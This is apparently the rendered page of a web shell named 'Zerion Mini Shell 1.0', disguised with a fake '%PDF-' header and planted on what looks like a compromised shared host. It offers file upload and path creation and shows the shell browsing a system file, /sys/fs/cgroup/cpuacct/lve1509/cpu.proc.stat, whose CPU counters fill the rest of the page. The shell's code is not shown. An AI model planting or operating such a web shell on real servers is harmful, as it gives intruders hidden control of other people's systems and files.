%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /sys/fs/cgroup/cpuacct/lve1509/
Upload File :
Create Path :
Current File : //sys/fs/cgroup/cpuacct/lve1509/cpu.proc.stat

cpu  18438 0 19206 31059716153 8791 0 0 478
cpu0 2306 0 1429 1294149320 2757 0 0 92
cpu1 924 0 755 1294154463 417 0 0 20
cpu2 1043 0 773 1294154553 278 0 0 16
cpu3 950 0 758 1294154758 254 0 0 19
cpu4 825 0 756 1294154925 236 0 0 15
cpu5 659 0 696 1294155119 317 0 0 20
cpu6 708 0 801 1294154991 259 0 0 18
cpu7 668 0 793 1294155023 294 0 0 17
cpu8 776 0 841 1294154809 332 0 0 20
cpu9 660 0 799 1294155094 277 0 0 16
cpu10 692 0 774 1294155247 193 0 0 14
cpu11 633 0 799 1294154989 431 0 0 17
cpu12 664 0 865 1294155066 241 0 0 14
cpu13 648 0 812 1294155125 261 0 0 17
cpu14 675 0 870 1294155105 220 0 0 18
cpu15 698 0 886 1294154915 304 0 0 18
cpu16 678 0 793 1294155162 225 0 0 14
cpu17 617 0 754 1294155275 228 0 0 14
cpu18 651 0 765 1294155048 340 0 0 13
cpu19 596 0 682 1294155433 211 0 0 14
cpu20 697 0 758 1294155295 142 0 0 17
cpu21 555 0 667 1294155468 196 0 0 16
cpu22 541 0 668 1294155577 130 0 0 12
cpu23 564 0 702 1294155378 237 0 0 16
intr 0
swap 0 0

ctxt 2007270
btime 1751695798
processes 2726
procs_running 0
procs_blocked 0

Zerion Mini Shell 1.0